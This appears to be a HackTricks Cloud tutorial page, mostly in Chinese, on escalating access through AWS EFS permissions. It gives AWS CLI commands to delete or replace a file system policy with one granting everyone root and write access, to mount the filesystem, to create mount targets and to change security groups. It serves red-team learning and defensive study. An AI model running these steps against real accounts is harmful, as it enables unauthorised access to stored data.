AWS - EFS Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
EFS
更多 关于 EFS 的信息 在:
请注意,要挂载 EFS,你需要位于 EFS 可访问的子网(子网)并拥有对其的访问权限(security groups)。如果满足这些条件,默认情况下你总是能够挂载它;但如果它受 IAM policies 保护,你需要具备此处提到的额外权限才能访问它。
elasticfilesystem:DeleteFileSystemPolicy|elasticfilesystem:PutFileSystemPolicy
拥有任一上述权限的攻击者可以更改文件系统策略以授予你访问权限,或者直接删除该策略以使默认访问被授予。
要删除该策略:
aws efs delete-file-system-policy \
--file-system-id <value>
要更改它:
aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
// Give everyone trying to mount it read, write and root access
// policy.json:
{
"Version": "2012-10-17",
"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
"Statement": [
{
"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"elasticfilesystem:ClientRootAccess",
"elasticfilesystem:ClientWrite",
"elasticfilesystem:ClientMount"
],
"Condition": {
"Bool": {
"elasticfilesystem:AccessedViaMountTarget": "true"
}
}
}
]
}
elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)
拥有此权限的攻击者将能够 mount the EFS。如果并非默认将 write permission 授予所有可以 mount the EFS 的人,则他将只有 read access。
sudo mkdir /efs
sudo mount -t efs -o tls,iam <file-system-id/EFS DNS name>:/ /efs/
额外的权限 elasticfilesystem:ClientRootAccess 和 elasticfilesystem:ClientWrite 可用于在文件系统挂载后写入其中,并以 root 身份访问该文件系统。
潜在影响: 通过在文件系统中定位敏感信息实现间接 privesc。
elasticfilesystem:CreateMountTarget
如果攻击者处于一个 子网,该子网中 不存在 EFS 的挂载目标,他可以使用此权限在他的子网中创建一个挂载目标:
# You need to indicate security groups that will grant the user access to port 2049
aws efs create-mount-target --file-system-id <fs-id> \
--subnet-id <value> \
--security-groups <value>
Potential Impact: 通过在文件系统中定位敏感信息实现间接 privesc。
elasticfilesystem:ModifyMountTargetSecurityGroups
在一种情形下,如果攻击者发现 EFS 在其子网中有 mount target,但没有安全组允许流量,他可以通过修改所选安全组来更改这一点:
aws efs modify-mount-target-security-groups \
--mount-target-id <value> \
--security-groups <value>
潜在影响: 通过在文件系统中定位敏感信息实现间接 privesc。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

